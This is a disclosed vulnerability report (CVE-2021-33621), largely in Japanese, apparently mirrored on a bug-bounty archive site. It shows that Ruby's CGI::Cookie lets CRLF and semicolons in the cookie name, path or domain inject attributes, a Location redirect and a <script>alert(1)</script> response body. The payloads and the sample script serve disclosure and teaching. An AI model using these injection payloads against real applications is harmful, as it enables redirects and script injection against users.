Skip to content
Smuggling / CRLF Disclosed report Intermediate CVE-2021-33621

CGI::Cookieクラスにおけるセキュリティ上好ましくない仕様および実装

The Ruby CGI::Cookie class does not validate the cookie name, path or domain values, so characters such as semicolons and line breaks pass through into the Set-Cookie header. If an application lets an attacker influence those values, the attacker could add extra cookie attributes, inject additional response headers or even inject content into the response body.

htokumaru Follow

Originally disclosed on HackerOne

  • Triaged in 48 days
  • Fixed in 18 months
  • Disclosed after 18 months
以下のCGIスクリプトについて、name、path、domainに改行、等号、改行のインジェクションが可能

```
#!/usr/bin/env ruby
require "cgi"
cgi = CGI.new
name = "name"
path = "/"
domain = "example.jp"
cookie = CGI::Cookie.new('name' => name,
                         'value' => "value",
                         'domain' => domain,
                        'path' => path)
cgi.out({"cookie" => [cookie]}){ "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n" }
```

(1) nameについて
RFC2616 section-2.2 によるとCookieのnameは以下の記号および制御文字は使えないが、とくにチェックされず指定できる。

> ( ) < > @ , ; : \ " / [ ] ? = { } 

例1: valueとdomain属性をインジェクション

```
name = "a=b; domain=example.com;"              # # サンプルから name = の箇所を変更
```

結果1

```
Set-Cookie: a=b; domain=example.com;=value; domain=example.jp; path=/
```

例2: 改行をインジェクション

```
name = "a=b;\r\nLocation: http://example.com#"                # サンプルから name = の箇所を変更
```

結果2(http://example.com にリダイレクト)

```
Set-Cookie: a=b;
Location: http://example.com#=value; domain=example.jp; path=/
```

(2) pathについて
RFC6265によるとpath属性には制御文字および ; は使えないが、いずれもチェックされず指定できる。

例3:セミコロンによる属性の追加

```
path = "/; samesite=none"           # サンプルから path = の箇所を変更
```

結果3:samesite属性を指定できる

```
Set-Cookie: name=value; domain=example.jp; path=/; samesite=none
```

例4: レスポンスボディのインジェクション

```
path = "/;\r\n\r\n<script>alert(1)</script>"           # サンプルから path = の箇所を変更
```

結果4: JavaScriptの注�
�

```
HTTP/1.1 200 OK
Date: Fri, 21 May 2021 12:08:08 GMT
Server: Apache/2.2.31 (Unix)
Set-Cookie: name=value; domain=example.jp; path=/;
Content-Length: 33
Content-Type: text/html

<script>alert(1)</script>

xxxx
```

(3) domainについて
domain属性はホスト名またはドメイン名が許可されるが、セミコロン(;) や改行もチェックされず指定できる。影響はpath属性と同じなので例示は省力する。

## Impact

Cookie設定において、外部からCookieのname、path属性、domain属性が指定できるケースはまれであるため、セキュリティ上の影響は軽微であるが、保険的にチェックされることが好ましい。PHPのsetcookie関数等ではチェックされ、不正な文字を含む場合はエラーとなり、Set-Cookie属性は出力されない。
例外的にnameまたはpath属性、domain属性を外部から指定できる場合は、例で示したように、あらたなレスポンスヘッダあるいはレスポンスボディの追加ができ、JavaScriptの実行などXSSと同等の�
威となる。

また、RFC6265に定めるmax-age属性や最近のブラウザが対応するsamesite属性([rfc6265bis](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis-03#section-5.3.7)など)には対応していない。samesite属性に対応していないのは実用上不便でありCookieを安�
�な設定にできないという意味でセキュアでもない。

ただし、例3で示す「裏技」によりこれら属性を指定できるが、本来はCGI::Cookieクラスの機能として提供するべきであるし、属性のインジェクションができることは望ましくない。

なお、[マニュアル](https://docs.ruby-lang.org/ja/latest/class/CGI=3a=3aCookie.html)にはhttponly属性の指定方法が記載されていないが、実�
はされているようである。

The original report as published on HackerOne, by htokumaru. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The author rates the impact as minor because it is rare for an outside party to control these values, but where they can, extra headers or body content could be injected, giving a threat comparable to cross-site scripting.

What the attacker needed

Attacker controls cookie name, path or domain

How it was found

  1. Set the cookie name to a value containing a semicolon and a second attribute, then observe the extra attribute in the Set-Cookie header.
  2. Set the cookie name to a value containing a line break followed by a Location header, then observe the redirect.
  3. Set the path to a value containing a semicolon and a SameSite attribute, then observe the added attribute.
  4. Set the path to a value containing line breaks and a script tag, then observe the script in the response body.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cookie is a small piece of data a website asks the browser to store and send back later. The server sends it in a response header called Set-Cookie, and that header has a strict format. This library builds that header from values without checking them, so a value containing special characters can break out of its slot and add new instructions to the response.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by htokumaru

View all

1 more disclosed report, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.